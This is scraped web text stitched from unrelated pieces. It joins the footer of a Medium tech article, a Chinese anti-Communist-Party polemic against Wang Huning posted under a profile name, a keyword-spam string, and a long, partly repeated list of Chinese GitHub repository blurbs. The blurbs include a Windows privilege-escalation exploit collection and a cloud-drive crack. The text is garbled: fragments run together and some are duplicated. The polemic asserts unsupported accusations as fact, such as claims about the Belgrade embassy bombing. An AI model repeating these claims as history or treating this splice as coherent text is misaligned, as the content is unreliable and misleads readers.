thoughts Hopefully you have learned something new today, personally I never even knew this was a thing before I did some research into it. The cool thing is, that you can do anything you normal would be able to do, and more since it just simulates your own touches and actions! I hope you enjoyed the article and thank you for reading! 💖 468 9 468 9 More from ITNEXT Follow ITNEXT is a platform for IT developers & software engineers to share knowledge, connect, collaborate, learn and experience next-gen technologies. Sabrina Amrouche Sabrina Amrouche ·Apr 15, 2021 Using the Spotify Algorithm to Find High Energy Physics Particles Python 5 min read Using the Spotify Algorithm to Find High Energy Physics Particles Wenkai Fan Wenkai Fan ·Apr 14, 2021 Responsive design at different levels in Flutter Flutter 3 min read Responsive design at different levels in Flutter Abhishek Gupta Abhishek Gupta ·Apr 14, 2021 Getting started with Kafka and Rust: Part 2 Kafka 9 min read Getting started with Kafka and Rust: Part 2 Adriano Raiano Adriano Raiano ·Apr 14, 2021 How to properly internationalize a React application using i18next React 17 min read How to properly internationalize a React application using i18next Gary A. Stafford Gary A. Stafford ·Apr 14, 2021 AWS IoT Core for LoRaWAN, AWS IoT Analytics, and Amazon QuickSight Lora 11 min read AWS IoT Core for LoRaWAN, Amazon IoT Analytics, and Amazon QuickSight Read more from ITNEXT Recommended from Medium Morpheus Morpheus Morpheus Swap — Resurrection Ashutosh Kumar Ashutosh Kumar GIT Branching strategies and GitFlow Balachandar Paulraj Balachandar Paulraj Delta Lake Clones: Systematic Approach for Testing, Sharing data Jason Porter Jason Porter Week 3 -Yieldly No-Loss Lottery Results Casino slot machines Mikolaj Szabó Mikolaj Szabó in HackerNoon.com Why functional programming matters Tt Tt Set Up LaTeX on Mac OS X Sierra Goutham Pratapa Goutham Pratapa Upgrade mongo to the latest build Julia Says Julia Says in Top Software Developers in the World How to Choose a Software Vendor AboutHelpTermsPrivacy Get the Medium app A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
zpc1314521
[stays mad] 反PCL宣传库。Anti PCL propaganda. 大陆修宪香港恶法台湾武统朝鲜毁约美中冷战等都是王沪宁愚弄习思想极左命运共同体的大策划中共窃国这半个多世纪所犯下的滔天罪恶,前期是毛泽东策划的,中期6.4前后是邓小平策划的,黄牛数据分析后期是毛的极左追随者三朝罪恶元凶王沪宁策划的。王沪宁高小肆业因文革政治和情报需要保送“学院外语班“红色仕途翻身,所以王的本质是极左的。他是在上海底层弄堂长大的,因其本性也促成其瘪三下三滥个性,所以也都说他有易主“变色龙”哈巴狗“的天性。大陆像王沪宁这样学马列政治所谓"法学"专业的人,在除朝鲜古巴所有国家特别是在文明发达国家是无法找到专业对口工作必定失业,唯独在大陆却是重用的紧缺“人才”,6.4后中共信仰大危机更是最重用的救党“人才”。这也就是像王沪宁此类工农兵假“大学生”平步青云的原因,他们最熟悉毛泽东历次运动的宫庭内斗经验手段和残酷的阶级斗争等暴力恐怖的“政治学”。王沪宁能平步青云靠他这马毛伪“政治学”资本和头衔,不是什么真才实学,能干实事有点真才实学的或许在他手下的谋士及秘书班子中可以找到。王沪宁的“真才实学”只不过是一个只读四年小学的人,大半辈子在社会上磨炼特别是在中共官场滚打炼出的的手段和经验而已,他和习近平等保送的工农兵假“大学生”都一样,无法从事原“专业”都凭红资本而从政。六四学运期间各界一边倒支持学生,王沪宁一度去法国躲避和筹谋,他还加入了反学运签名,成为极少有的反学运者仕途突显,在六四和苏联垮台后中共意识形态危机,江泽民上台看上唯一能应急的王沪宁聚谋士泡制的"稳定统一领导"和之后的"新权威"谬论。左转被邓小平南巡阻止后,王策划顺邓经济改革却将政治改革逐步全面终止和倒退,泡制“三个代表”为极左转建立庞大牢固的红色既得利益集团。因此六四后各重大决策和危机难题都摆在中共中央政策研究室王沪宁桌面上,使王沪宁成了此后中共三朝都无法摆脱的幕后最有决策性实权的人,中共中央政策研究室是王为其野心巨资经营几十年,聚众谋士的间谍情报汇总研究的特务机关和策划制定决策重要机构与基地,王沪宁本人和决定其仕途关键的首任岳父及家属就有情报工作背景。中央政研室重要到王沪宁入常后为了死抓这中共情报与决策大权,宁可放弃国家副主席和中央党校校长。后再加个除习外唯他担任的中共几核心领导小组之一的“不忘初心牢记使命”主题教育工作小组组长。此后他把持的舆论必将以宣传“不忘初心牢记使命”为主,打造众所周知的所谓“习思想”其实是”王思想“。王自从主导中央政研室开始决策后,策划中止邓小平的与美妥协路线回归毛极左的反美路线。帮助前南斯拉夫提供情报打落美机放中使馆引发炸使馆事件,以此掀起六四后唯一的全国大规模游行并借此反美而起家。后又帮江泽民提供法轮功会是超过中共组织的情报,策划决策镇压迫害开始并没有把矛头指向江的法轮功群体,策划决定阻止党内外近三十年来平反六四的呼声。致远黑皮书马拉松程序员易支付英语台词文字匹配美团点评各业务线提供知识库团队共享阿里云高精Excel识别德讯 ·吉特胡布薄熙来黑科技习近平讲话模拟器习近平音源黑马程序员MySQL数据库玉米杂草数据集销售系统开发疫情期间网民情绪识别比赛996icu996 icu学习强国预测结果导出赖伟林刺杀小说家购物商场英语词汇量小程序联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 编程随想 收藏的电子书清单 多个学科 含下载链接 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 学习强国 懒人刷分工具 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 